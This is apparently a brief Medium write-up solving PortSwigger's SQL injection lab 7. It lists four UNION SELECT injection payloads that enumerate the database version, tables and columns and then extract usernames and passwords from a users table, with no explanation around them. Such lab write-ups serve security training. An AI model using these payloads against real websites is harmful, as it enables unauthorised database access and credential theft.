Portswigger SQLi-Lab 7

SQL injection attack, listing the database contents on non-Oracle databases

Gifts' union select version(),null --
Gifts' union select table_name,null from information_schema.tables --
Gifts' union select column_name,null from information_schema.columns where table_name='users_bkrkxr' --
Gifts' union select username_lshein,password_adqjqk from users_bkrkxr --

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store